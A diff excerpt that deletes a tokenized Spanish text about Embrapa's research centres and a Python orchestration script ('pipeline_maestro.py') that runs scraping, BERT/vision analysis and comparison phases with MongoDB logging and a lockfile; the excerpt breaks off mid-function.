emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
[UNK]
|
||||||
|
camp
|
||||||
|
##ina
|
||||||
|
grande
|
||||||
|
p
|
||||||
|
##b
|
||||||
|
investigación
|
||||||
|
algodón
|
||||||
|
mam
|
||||||
|
##ona
|
||||||
|
ame
|
||||||
|
##n
|
||||||
|
##do
|
||||||
|
##im
|
||||||
|
ger
|
||||||
|
##gel
|
||||||
|
##im
|
||||||
|
si
|
||||||
|
##sal
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
arroz
|
||||||
|
por
|
||||||
|
##oto
|
||||||
|
santo
|
||||||
|
[UNK]
|
||||||
|
go
|
||||||
|
##i
|
||||||
|
##ás
|
||||||
|
go
|
||||||
|
investigación
|
||||||
|
arroz
|
||||||
|
por
|
||||||
|
##oto
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
cap
|
||||||
|
##rino
|
||||||
|
##s
|
||||||
|
sobra
|
||||||
|
##l
|
||||||
|
ce
|
||||||
|
investigación
|
||||||
|
cap
|
||||||
|
##rino
|
||||||
|
##s
|
||||||
|
ov
|
||||||
|
##inos
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
fores
|
||||||
|
##tas
|
||||||
|
colo
|
||||||
|
##mbo
|
||||||
|
pr
|
||||||
|
investigación
|
||||||
|
especies
|
||||||
|
forestales
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
ga
|
||||||
|
##do
|
||||||
|
corte
|
||||||
|
campo
|
||||||
|
grande
|
||||||
|
ms
|
||||||
|
investigación
|
||||||
|
bo
|
||||||
|
##vinos
|
||||||
|
corte
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
ganado
|
||||||
|
leche
|
||||||
|
ju
|
||||||
|
##iz
|
||||||
|
for
|
||||||
|
##a
|
||||||
|
mg
|
||||||
|
investigación
|
||||||
|
leche
|
||||||
|
bo
|
||||||
|
##vinos
|
||||||
|
leche
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
hortalizas
|
||||||
|
distrito
|
||||||
|
federal
|
||||||
|
d
|
||||||
|
##f
|
||||||
|
investigación
|
||||||
|
hortalizas
|
||||||
|
ab
|
||||||
|
##ó
|
||||||
|
##bora
|
||||||
|
bata
|
||||||
|
##ta
|
||||||
|
bata
|
||||||
|
##tad
|
||||||
|
##ul
|
||||||
|
##ce
|
||||||
|
ber
|
||||||
|
##en
|
||||||
|
##jen
|
||||||
|
##a
|
||||||
|
cebol
|
||||||
|
##la
|
||||||
|
zana
|
||||||
|
##hor
|
||||||
|
##ia
|
||||||
|
cole
|
||||||
|
##s
|
||||||
|
gui
|
||||||
|
##santes
|
||||||
|
gar
|
||||||
|
##ban
|
||||||
|
##zo
|
||||||
|
lente
|
||||||
|
##ja
|
||||||
|
mand
|
||||||
|
##io
|
||||||
|
##ca
|
||||||
|
mel
|
||||||
|
##ón
|
||||||
|
maíz
|
||||||
|
dulce
|
||||||
|
mos
|
||||||
|
##taza
|
||||||
|
pe
|
||||||
|
##pino
|
||||||
|
repo
|
||||||
|
##llo
|
||||||
|
tomate
|
||||||
|
etc
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
mand
|
||||||
|
##io
|
||||||
|
##ca
|
||||||
|
fru
|
||||||
|
##tic
|
||||||
|
##ult
|
||||||
|
##ura
|
||||||
|
tropical
|
||||||
|
cruz
|
||||||
|
das
|
||||||
|
almas
|
||||||
|
ba
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
mil
|
||||||
|
##ho
|
||||||
|
sor
|
||||||
|
##go
|
||||||
|
set
|
||||||
|
##e
|
||||||
|
lago
|
||||||
|
##as
|
||||||
|
mg
|
||||||
|
investigación
|
||||||
|
maíz
|
||||||
|
sor
|
||||||
|
##go
|
||||||
|
mi
|
||||||
|
##jo
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
pecu
|
||||||
|
##ár
|
||||||
|
##ia
|
||||||
|
sudeste
|
||||||
|
[UNK]
|
||||||
|
car
|
||||||
|
##los
|
||||||
|
sp
|
||||||
|
investigación
|
||||||
|
bo
|
||||||
|
##vinos
|
||||||
|
corte
|
||||||
|
bo
|
||||||
|
##vinos
|
||||||
|
leche
|
||||||
|
equi
|
||||||
|
##nos
|
||||||
|
forra
|
||||||
|
##ji
|
||||||
|
##cultura
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
pecu
|
||||||
|
##ár
|
||||||
|
##ia
|
||||||
|
sul
|
||||||
|
ba
|
||||||
|
##gé
|
||||||
|
r
|
||||||
|
##s
|
||||||
|
investigación
|
||||||
|
bo
|
||||||
|
##vinos
|
||||||
|
corte
|
||||||
|
bo
|
||||||
|
##vinos
|
||||||
|
leche
|
||||||
|
ov
|
||||||
|
##inos
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
soja
|
||||||
|
lon
|
||||||
|
##dri
|
||||||
|
##na
|
||||||
|
pr
|
||||||
|
investigación
|
||||||
|
soja
|
||||||
|
giras
|
||||||
|
##ol
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
su
|
||||||
|
##ín
|
||||||
|
##os
|
||||||
|
aves
|
||||||
|
con
|
||||||
|
##có
|
||||||
|
##r
|
||||||
|
##dia
|
||||||
|
s
|
||||||
|
##c
|
||||||
|
investigación
|
||||||
|
su
|
||||||
|
##inos
|
||||||
|
pastos
|
||||||
|
corte
|
||||||
|
gallinas
|
||||||
|
postura
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
trigo
|
||||||
|
pas
|
||||||
|
##so
|
||||||
|
fund
|
||||||
|
##o
|
||||||
|
r
|
||||||
|
##s
|
||||||
|
investigación
|
||||||
|
trigo
|
||||||
|
ce
|
||||||
|
##bada
|
||||||
|
tri
|
||||||
|
##tica
|
||||||
|
##le
|
||||||
|
centen
|
||||||
|
##o
|
||||||
|
can
|
||||||
|
##ola
|
||||||
|
hierbas
|
||||||
|
forra
|
||||||
|
##jeras
|
||||||
|
soja
|
||||||
|
maíz
|
||||||
|
por
|
||||||
|
##oto
|
||||||
|
desarrollo
|
||||||
|
soja
|
||||||
|
adaptada
|
||||||
|
suelos
|
||||||
|
ácidos
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
uva
|
||||||
|
vin
|
||||||
|
##ho
|
||||||
|
ben
|
||||||
|
##to
|
||||||
|
[UNK]
|
||||||
|
r
|
||||||
|
##s
|
||||||
|
investigación
|
||||||
|
uva
|
||||||
|
vino
|
||||||
|
manzana
|
||||||
|
frutas
|
||||||
|
clima
|
||||||
|
temp
|
||||||
|
##lado
|
||||||
|
centros
|
||||||
|
investigación
|
||||||
|
temas
|
||||||
|
básicos
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
agro
|
||||||
|
##bio
|
||||||
|
##logia
|
||||||
|
ser
|
||||||
|
##op
|
||||||
|
##é
|
||||||
|
##dica
|
||||||
|
r
|
||||||
|
##j
|
||||||
|
investigación
|
||||||
|
fijación
|
||||||
|
biológica
|
||||||
|
nitrógeno
|
||||||
|
agricultura
|
||||||
|
orgánica
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
agro
|
||||||
|
##ener
|
||||||
|
##gia
|
||||||
|
bras
|
||||||
|
##íl
|
||||||
|
##ia
|
||||||
|
d
|
||||||
|
##f
|
||||||
|
investigación
|
||||||
|
biodi
|
||||||
|
##és
|
||||||
|
##el
|
||||||
|
bio
|
||||||
|
##gá
|
||||||
|
##s
|
||||||
|
eta
|
||||||
|
##nol
|
||||||
|
fores
|
||||||
|
##tas
|
||||||
|
energéticas
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
agro
|
||||||
|
##ind
|
||||||
|
##ús
|
||||||
|
##tri
|
||||||
|
##a
|
||||||
|
alimentos
|
||||||
|
río
|
||||||
|
ja
|
||||||
|
##ne
|
||||||
|
##iro
|
||||||
|
r
|
||||||
|
##j
|
||||||
|
investigación
|
||||||
|
tecnología
|
||||||
|
alimentos
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
agro
|
||||||
|
##ind
|
||||||
|
##ús
|
||||||
|
##tri
|
||||||
|
##a
|
||||||
|
tropical
|
||||||
|
fortaleza
|
||||||
|
ce
|
||||||
|
investigación
|
||||||
|
agro
|
||||||
|
##ind
|
||||||
|
##ust
|
||||||
|
##ria
|
||||||
|
tropical
|
||||||
|
ca
|
||||||
|
##ju
|
||||||
|
coco
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
informática
|
||||||
|
agropec
|
||||||
|
##u
|
||||||
|
##ár
|
||||||
|
##ia
|
||||||
|
camp
|
||||||
|
##inas
|
||||||
|
sp
|
||||||
|
investigación
|
||||||
|
tecnología
|
||||||
|
información
|
||||||
|
agro
|
||||||
|
##ne
|
||||||
|
##goci
|
||||||
|
##os
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
[UNK]
|
||||||
|
agropec
|
||||||
|
##u
|
||||||
|
##ár
|
||||||
|
##ia
|
||||||
|
[UNK]
|
||||||
|
car
|
||||||
|
##los
|
||||||
|
sp
|
||||||
|
investigación
|
||||||
|
agricultura
|
||||||
|
precisión
|
||||||
|
ambiente
|
||||||
|
biotecnología
|
||||||
|
##a
|
||||||
|
automa
|
||||||
|
##tización
|
||||||
|
procesos
|
||||||
|
nuevos
|
||||||
|
materiales
|
||||||
|
agricultura
|
||||||
|
agro
|
||||||
|
##ind
|
||||||
|
##ust
|
||||||
|
##ria
|
||||||
|
familiar
|
||||||
|
calidad
|
||||||
|
##es
|
||||||
|
productos
|
||||||
|
materias
|
||||||
|
primas
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
me
|
||||||
|
##io
|
||||||
|
ambiente
|
||||||
|
ja
|
||||||
|
##guar
|
||||||
|
##i
|
||||||
|
##ún
|
||||||
|
##a
|
||||||
|
sp
|
||||||
|
investigación
|
||||||
|
manejo
|
||||||
|
gestión
|
||||||
|
ambiental
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
monitor
|
||||||
|
##amento
|
||||||
|
satélite
|
||||||
|
camp
|
||||||
|
##inas
|
||||||
|
sp
|
||||||
|
investigación
|
||||||
|
sistemas
|
||||||
|
informaciones
|
||||||
|
geográficas
|
||||||
|
redes
|
||||||
|
ele
|
||||||
|
##trón
|
||||||
|
##icas
|
||||||
|
adquisición
|
||||||
|
procesamiento
|
||||||
|
imágenes
|
||||||
|
sensores
|
||||||
|
remoto
|
||||||
|
##s
|
||||||
|
datos
|
||||||
|
obtenidos
|
||||||
|
campo
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
recursos
|
||||||
|
genéticos
|
||||||
|
bio
|
||||||
|
##tec
|
||||||
|
##nol
|
||||||
|
##o
|
||||||
|
##gia
|
||||||
|
bras
|
||||||
|
##íl
|
||||||
|
##ia
|
||||||
|
d
|
||||||
|
##f
|
||||||
|
investigación
|
||||||
|
biotecnología
|
||||||
|
control
|
||||||
|
biológico
|
||||||
|
recursos
|
||||||
|
genéticos
|
||||||
|
seguridad
|
||||||
|
biológica
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
solos
|
||||||
|
río
|
||||||
|
ja
|
||||||
|
##ne
|
||||||
|
##iro
|
||||||
|
r
|
||||||
|
##j
|
||||||
|
investigación
|
||||||
|
suelo
|
||||||
|
interacciones
|
||||||
|
ambiente
|
||||||
|
centros
|
||||||
|
investigación
|
||||||
|
eco
|
||||||
|
##r
|
||||||
|
##re
|
||||||
|
##gional
|
||||||
|
##es
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
acre
|
||||||
|
rio
|
||||||
|
bran
|
||||||
|
##co
|
||||||
|
ac
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
agropec
|
||||||
|
##u
|
||||||
|
##ár
|
||||||
|
##ia
|
||||||
|
oeste
|
||||||
|
do
|
||||||
|
##urado
|
||||||
|
##s
|
||||||
|
ms
|
||||||
|
investigación
|
||||||
|
región
|
||||||
|
oeste
|
||||||
|
bras
|
||||||
|
##il
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
ama
|
||||||
|
##pá
|
||||||
|
ma
|
||||||
|
##cap
|
||||||
|
##á
|
||||||
|
ap
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
[UNK]
|
||||||
|
oc
|
||||||
|
##identa
|
||||||
|
##l
|
||||||
|
man
|
||||||
|
##au
|
||||||
|
##s
|
||||||
|
am
|
||||||
|
investigación
|
||||||
|
ama
|
||||||
|
##zona
|
||||||
|
##s
|
||||||
|
frutas
|
||||||
|
tropicales
|
||||||
|
[UNK]
|
||||||
|
seri
|
||||||
|
##ng
|
||||||
|
##ue
|
||||||
|
##ira
|
||||||
|
especies
|
||||||
|
forestales
|
||||||
|
guar
|
||||||
|
##aná
|
||||||
|
pis
|
||||||
|
##cic
|
||||||
|
##ult
|
||||||
|
##ura
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
[UNK]
|
||||||
|
oriental
|
||||||
|
bel
|
||||||
|
##ém
|
||||||
|
pa
|
||||||
|
investigación
|
||||||
|
región
|
||||||
|
ama
|
||||||
|
##zon
|
||||||
|
##ia
|
||||||
|
oriental
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
cerrados
|
||||||
|
plana
|
||||||
|
##lti
|
||||||
|
##na
|
||||||
|
d
|
||||||
|
##f
|
||||||
|
investigación
|
||||||
|
desarrollo
|
||||||
|
innovación
|
||||||
|
tecnológica
|
||||||
|
agricultura
|
||||||
|
biom
|
||||||
|
##a
|
||||||
|
cerrado
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
clima
|
||||||
|
tempera
|
||||||
|
##do
|
||||||
|
pelotas
|
||||||
|
r
|
||||||
|
##s
|
||||||
|
investigación
|
||||||
|
región
|
||||||
|
clima
|
||||||
|
temp
|
||||||
|
##lado
|
||||||
|
bras
|
||||||
|
##il
|
||||||
|
desarrolla
|
||||||
|
actividades
|
||||||
|
áreas
|
||||||
|
recursos
|
||||||
|
naturales
|
||||||
|
ambiente
|
||||||
|
granos
|
||||||
|
fru
|
||||||
|
##tic
|
||||||
|
##ult
|
||||||
|
##ura
|
||||||
|
oler
|
||||||
|
##áceas
|
||||||
|
sistemas
|
||||||
|
pecu
|
||||||
|
##arios
|
||||||
|
énfasis
|
||||||
|
ganadería
|
||||||
|
agricultura
|
||||||
|
base
|
||||||
|
familiar
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
me
|
||||||
|
##ion
|
||||||
|
##orte
|
||||||
|
ter
|
||||||
|
##es
|
||||||
|
##ina
|
||||||
|
pi
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
pan
|
||||||
|
##tana
|
||||||
|
##l
|
||||||
|
cor
|
||||||
|
##um
|
||||||
|
##b
|
||||||
|
##á
|
||||||
|
ms
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
[UNK]
|
||||||
|
por
|
||||||
|
##to
|
||||||
|
vel
|
||||||
|
##ho
|
||||||
|
ro
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
ro
|
||||||
|
##ra
|
||||||
|
##ima
|
||||||
|
bo
|
||||||
|
##a
|
||||||
|
vista
|
||||||
|
r
|
||||||
|
##r
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
semi
|
||||||
|
##ár
|
||||||
|
##ido
|
||||||
|
petrol
|
||||||
|
##ina
|
||||||
|
pe
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
tab
|
||||||
|
##ule
|
||||||
|
##iro
|
||||||
|
##s
|
||||||
|
coste
|
||||||
|
##iro
|
||||||
|
##s
|
||||||
|
ara
|
||||||
|
##ca
|
||||||
|
##ju
|
||||||
|
enlaces
|
||||||
|
externos
|
||||||
|
página
|
||||||
|
oficial
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
##en
|
||||||
|
inglés
|
||||||
|
portugués
|
||||||
|
canal
|
||||||
|
oficial
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
you
|
||||||
|
##tu
|
||||||
|
##be
|
||||||
|
inglés
|
||||||
|
portugués
|
||||||
|
base
|
||||||
|
datos
|
||||||
|
investigación
|
||||||
|
agropec
|
||||||
|
##uar
|
||||||
|
##ia
|
||||||
|
empresas
|
||||||
|
cre
|
||||||
|
##dencia
|
||||||
|
##das
|
||||||
|
emb
|
||||||
|
##ra
|
||||||
|
##pa
|
||||||
|
|
|
||||||
|
|
@ -1,422 +0,0 @@
|
||||||
"""
|
|
||||||
pipeline_maestro.py
|
|
||||||
-------------------
|
|
||||||
Orquesta las tres fases del pipeline FLUJOS en orden estricto:
|
|
||||||
|
|
||||||
Fase 1 — SCRAPING Wikipedia + Noticias + Imágenes Wikipedia
|
|
||||||
Fase 2 — ANÁLISIS Tokenización texto (BERT) + Análisis imágenes (Qwen3-VL)
|
|
||||||
Fase 3 — COMPARACIÓN Solo documentos nuevos vs corpus existente
|
|
||||||
|
|
||||||
Garantías:
|
|
||||||
- Lockfile: solo una instancia a la vez
|
|
||||||
- Estado en MongoDB (`pipeline_log`): cada fase registra inicio/fin/stats
|
|
||||||
- Dedup: índices únicos en todas las colecciones (setup automático)
|
|
||||||
- Resume: si el proceso muere a mitad, la siguiente ejecución retoma
|
|
||||||
desde la última fase que no estaba "completado"
|
|
||||||
|
|
||||||
Ejecutar manualmente:
|
|
||||||
python pipeline_maestro.py
|
|
||||||
python pipeline_maestro.py --solo-fase scraping
|
|
||||||
python pipeline_maestro.py --solo-fase analisis
|
|
||||||
python pipeline_maestro.py --solo-fase comparacion
|
|
||||||
python pipeline_maestro.py --forzar # ignora si una fase ya corrió hoy
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
import fcntl
|
|
||||||
import logging
|
|
||||||
import os
|
|
||||||
import subprocess
|
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
from datetime import datetime, timedelta
|
|
||||||
from pathlib import Path
|
|
||||||
|
|
||||||
from pymongo import MongoClient, ASCENDING
|
|
||||||
from pymongo.errors import DuplicateKeyError, ConnectionFailure
|
|
||||||
|
|
||||||
# ── Rutas ──────────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
BASE_DIR = Path(__file__).parent
|
|
||||||
VENV_PYTHON = BASE_DIR / "myenv/bin/python3"
|
|
||||||
LOCK_FILE = Path("/tmp/flujos_pipeline.lock")
|
|
||||||
LOG_FILE = BASE_DIR / "pipeline_maestro.log"
|
|
||||||
|
|
||||||
MONGO_URL = os.getenv("MONGO_URL", "mongodb://localhost:27017")
|
|
||||||
DB_NAME = os.getenv("DB_NAME", "FLUJOS_DATOS")
|
|
||||||
|
|
||||||
# Intervalo mínimo entre ejecuciones de cada fase (horas)
|
|
||||||
# Evita re-ejecutar si el systemd timer se dispara accidentalmente dos veces
|
|
||||||
MIN_HORAS_ENTRE_FASES = {
|
|
||||||
"scraping": 20,
|
|
||||||
"analisis": 20,
|
|
||||||
"comparacion": 20,
|
|
||||||
}
|
|
||||||
|
|
||||||
# ── Logging ────────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
logging.basicConfig(
|
|
||||||
level=logging.INFO,
|
|
||||||
format="%(asctime)s [%(levelname)s] %(message)s",
|
|
||||||
handlers=[
|
|
||||||
logging.FileHandler(LOG_FILE),
|
|
||||||
logging.StreamHandler(sys.stdout),
|
|
||||||
],
|
|
||||||
)
|
|
||||||
log = logging.getLogger("pipeline_maestro")
|
|
||||||
|
|
||||||
|
|
||||||
# ── MongoDB ────────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def get_db():
|
|
||||||
client = MongoClient(MONGO_URL, serverSelectionTimeoutMS=5000)
|
|
||||||
client.admin.command("ping")
|
|
||||||
return client[DB_NAME]
|
|
||||||
|
|
||||||
|
|
||||||
def setup_indices(db):
|
|
||||||
"""Crea índices únicos para deduplicación en todas las colecciones."""
|
|
||||||
indices = {
|
|
||||||
"wikipedia": [("archivo", ASCENDING)],
|
|
||||||
"noticias": [("archivo", ASCENDING)],
|
|
||||||
"imagenes": [("archivo", ASCENDING)],
|
|
||||||
"imagenes_wiki":[("archivo", ASCENDING)],
|
|
||||||
# comparaciones no tiene índice único — usa upsert por (noticia1, noticia2)
|
|
||||||
}
|
|
||||||
for col, keys in indices.items():
|
|
||||||
try:
|
|
||||||
if len(keys) == 1:
|
|
||||||
db[col].create_index(keys, unique=True, background=True)
|
|
||||||
else:
|
|
||||||
db[col].create_index(keys, unique=True, background=True)
|
|
||||||
log.info(f" índice OK: {col} → {[k for k,_ in keys]}")
|
|
||||||
except Exception as e:
|
|
||||||
log.warning(f" índice {col}: {e}")
|
|
||||||
|
|
||||||
|
|
||||||
# ── Estado de fases ────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def fase_estado(db, fase: str) -> dict | None:
|
|
||||||
"""Devuelve el último registro de la fase, o None si nunca corrió."""
|
|
||||||
return db["pipeline_log"].find_one({"fase": fase}, sort=[("inicio", -1)])
|
|
||||||
|
|
||||||
|
|
||||||
def fase_necesita_correr(db, fase: str, forzar: bool = False) -> bool:
|
|
||||||
if forzar:
|
|
||||||
return True
|
|
||||||
ultimo = fase_estado(db, fase)
|
|
||||||
if not ultimo:
|
|
||||||
return True
|
|
||||||
if ultimo.get("estado") != "completado":
|
|
||||||
log.info(f" [{fase}] última ejecución no completó — reintentando")
|
|
||||||
return True
|
|
||||||
ultima_fin = ultimo.get("fin")
|
|
||||||
if not ultima_fin:
|
|
||||||
return True
|
|
||||||
horas = MIN_HORAS_ENTRE_FASES.get(fase, 20)
|
|
||||||
if datetime.utcnow() - ultima_fin < timedelta(hours=horas):
|
|
||||||
log.info(f" [{fase}] completada hace menos de {horas}h — saltando")
|
|
||||||
return False
|
|
||||||
return True
|
|
||||||
|
|
||||||
|
|
||||||
def log_fase_inicio(db, fase: str) -> str:
|
|
||||||
doc = {
|
|
||||||
"fase": fase,
|
|
||||||
"estado": "en_progreso",
|
|
||||||
"inicio": datetime.utcnow(),
|
|
||||||
"fin": None,
|
|
||||||
"stats": {},
|
|
||||||
}
|
|
||||||
result = db["pipeline_log"].insert_one(doc)
|
|
||||||
return str(result.inserted_id)
|
|
||||||
|
|
||||||
|
|
||||||
def log_fase_fin(db, log_id: str, estado: str, stats: dict):
|
|
||||||
from bson import ObjectId
|
|
||||||
db["pipeline_log"].update_one(
|
|
||||||
{"_id": ObjectId(log_id)},
|
|
||||||
{"$set": {"estado": estado, "fin": datetime.utcnow(), "stats": stats}},
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
def ultima_ejecucion_completada(db, fase: str) -> datetime | None:
|
|
||||||
"""Devuelve la fecha de fin de la última ejecución completada de la fase."""
|
|
||||||
doc = db["pipeline_log"].find_one(
|
|
||||||
{"fase": fase, "estado": "completado"},
|
|
||||||
sort=[("fin", -1)]
|
|
||||||
)
|
|
||||||
return doc["fin"] if doc else None
|
|
||||||
|
|
||||||
|
|
||||||
# ── Lockfile ───────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
class PipelineLock:
|
|
||||||
def __init__(self):
|
|
||||||
self._f = None
|
|
||||||
|
|
||||||
def __enter__(self):
|
|
||||||
self._f = open(LOCK_FILE, "w")
|
|
||||||
try:
|
|
||||||
fcntl.flock(self._f, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
|
||||||
except BlockingIOError:
|
|
||||||
log.error("Ya hay una instancia del pipeline corriendo. Saliendo.")
|
|
||||||
sys.exit(1)
|
|
||||||
self._f.write(str(os.getpid()))
|
|
||||||
self._f.flush()
|
|
||||||
return self
|
|
||||||
|
|
||||||
def __exit__(self, *args):
|
|
||||||
fcntl.flock(self._f, fcntl.LOCK_UN)
|
|
||||||
self._f.close()
|
|
||||||
LOCK_FILE.unlink(missing_ok=True)
|
|
||||||
|
|
||||||
|
|
||||||
# ── Ejecutor de scripts ────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def run_script(script_path: Path, args: list[str] = None, cwd: Path = None) -> bool:
|
|
||||||
"""Ejecuta un script Python con el venv. Devuelve True si éxito."""
|
|
||||||
cmd = [str(VENV_PYTHON), str(script_path)] + (args or [])
|
|
||||||
cwd = cwd or script_path.parent
|
|
||||||
log.info(f" → {' '.join(cmd)}")
|
|
||||||
result = subprocess.run(cmd, cwd=str(cwd))
|
|
||||||
if result.returncode != 0:
|
|
||||||
log.error(f" Script falló con código {result.returncode}: {script_path.name}")
|
|
||||||
return False
|
|
||||||
return True
|
|
||||||
|
|
||||||
|
|
||||||
# ── FASE 1: SCRAPING ───────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def fase_scraping(db, forzar: bool = False):
|
|
||||||
log.info("\n" + "="*60)
|
|
||||||
log.info(" FASE 1 — SCRAPING")
|
|
||||||
log.info("="*60)
|
|
||||||
|
|
||||||
if not fase_necesita_correr(db, "scraping", forzar):
|
|
||||||
return
|
|
||||||
|
|
||||||
log_id = log_fase_inicio(db, "scraping")
|
|
||||||
stats = {}
|
|
||||||
ok = True
|
|
||||||
|
|
||||||
try:
|
|
||||||
# 1a. Wikipedia — scraper por temas
|
|
||||||
log.info("\n[1a] Wikipedia scraper")
|
|
||||||
antes_wiki = db["wikipedia"].count_documents({})
|
|
||||||
ok_wiki = run_script(
|
|
||||||
BASE_DIR / "WIKIPEDIA/main.py",
|
|
||||||
cwd=BASE_DIR / "WIKIPEDIA"
|
|
||||||
)
|
|
||||||
despues_wiki = db["wikipedia"].count_documents({})
|
|
||||||
stats["wikipedia_nuevos"] = despues_wiki - antes_wiki
|
|
||||||
log.info(f" Wikipedia: +{stats['wikipedia_nuevos']} docs nuevos ({despues_wiki} total)")
|
|
||||||
if not ok_wiki:
|
|
||||||
ok = False
|
|
||||||
|
|
||||||
# 1b. Noticias — scraper web
|
|
||||||
log.info("\n[1b] Noticias scraper")
|
|
||||||
antes_not = db["noticias"].count_documents({})
|
|
||||||
ok_not = run_script(
|
|
||||||
BASE_DIR / "NOTICIAS/main_noticias.py",
|
|
||||||
cwd=BASE_DIR / "NOTICIAS"
|
|
||||||
)
|
|
||||||
despues_not = db["noticias"].count_documents({})
|
|
||||||
stats["noticias_nuevos"] = despues_not - antes_not
|
|
||||||
log.info(f" Noticias: +{stats['noticias_nuevos']} docs nuevos ({despues_not} total)")
|
|
||||||
if not ok_not:
|
|
||||||
ok = False
|
|
||||||
|
|
||||||
# 1c. Imágenes Wikipedia — scraper de imágenes por temas de FLUJOS
|
|
||||||
log.info("\n[1c] Wikipedia image scraper")
|
|
||||||
imagenes_dir = BASE_DIR / "IMAGENES"
|
|
||||||
antes_img = db["imagenes_wiki"].count_documents({})
|
|
||||||
ok_img = run_script(
|
|
||||||
imagenes_dir / "wikipedia_image_scraper.py",
|
|
||||||
args=["--flujos", "--max", "20", "--mongo"],
|
|
||||||
cwd=imagenes_dir,
|
|
||||||
)
|
|
||||||
despues_img = db["imagenes_wiki"].count_documents({})
|
|
||||||
stats["imagenes_wiki_nuevas"] = despues_img - antes_img
|
|
||||||
log.info(f" Imágenes wiki: +{stats['imagenes_wiki_nuevas']} nuevas ({despues_img} total)")
|
|
||||||
if not ok_img:
|
|
||||||
ok = False
|
|
||||||
|
|
||||||
# 1d. Comparaciones imagen-texto (imagenes_wiki vs corpus)
|
|
||||||
log.info("\n[1d] Comparaciones imagen-texto")
|
|
||||||
antes_comp = db["comparaciones"].count_documents({"source1_type": "imagen"})
|
|
||||||
ok_comp = run_script(
|
|
||||||
imagenes_dir / "comparar_imagenes_wiki.py",
|
|
||||||
args=["--umbral", "3.0"],
|
|
||||||
cwd=imagenes_dir,
|
|
||||||
)
|
|
||||||
despues_comp = db["comparaciones"].count_documents({"source1_type": "imagen"})
|
|
||||||
stats["comparaciones_imagen_nuevas"] = despues_comp - antes_comp
|
|
||||||
log.info(f" Comparaciones imagen: +{stats['comparaciones_imagen_nuevas']} nuevas")
|
|
||||||
if not ok_comp:
|
|
||||||
ok = False
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
log.error(f" ERROR en fase scraping: {e}")
|
|
||||||
ok = False
|
|
||||||
|
|
||||||
estado = "completado" if ok else "error"
|
|
||||||
log_fase_fin(db, log_id, estado, stats)
|
|
||||||
log.info(f"\n Fase scraping: {estado} | {stats}")
|
|
||||||
return ok
|
|
||||||
|
|
||||||
|
|
||||||
# ── FASE 2: ANÁLISIS ───────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def fase_analisis(db, forzar: bool = False):
|
|
||||||
log.info("\n" + "="*60)
|
|
||||||
log.info(" FASE 2 — ANÁLISIS Y TOKENIZACIÓN")
|
|
||||||
log.info("="*60)
|
|
||||||
|
|
||||||
if not fase_necesita_correr(db, "analisis", forzar):
|
|
||||||
return
|
|
||||||
|
|
||||||
log_id = log_fase_inicio(db, "analisis")
|
|
||||||
stats = {}
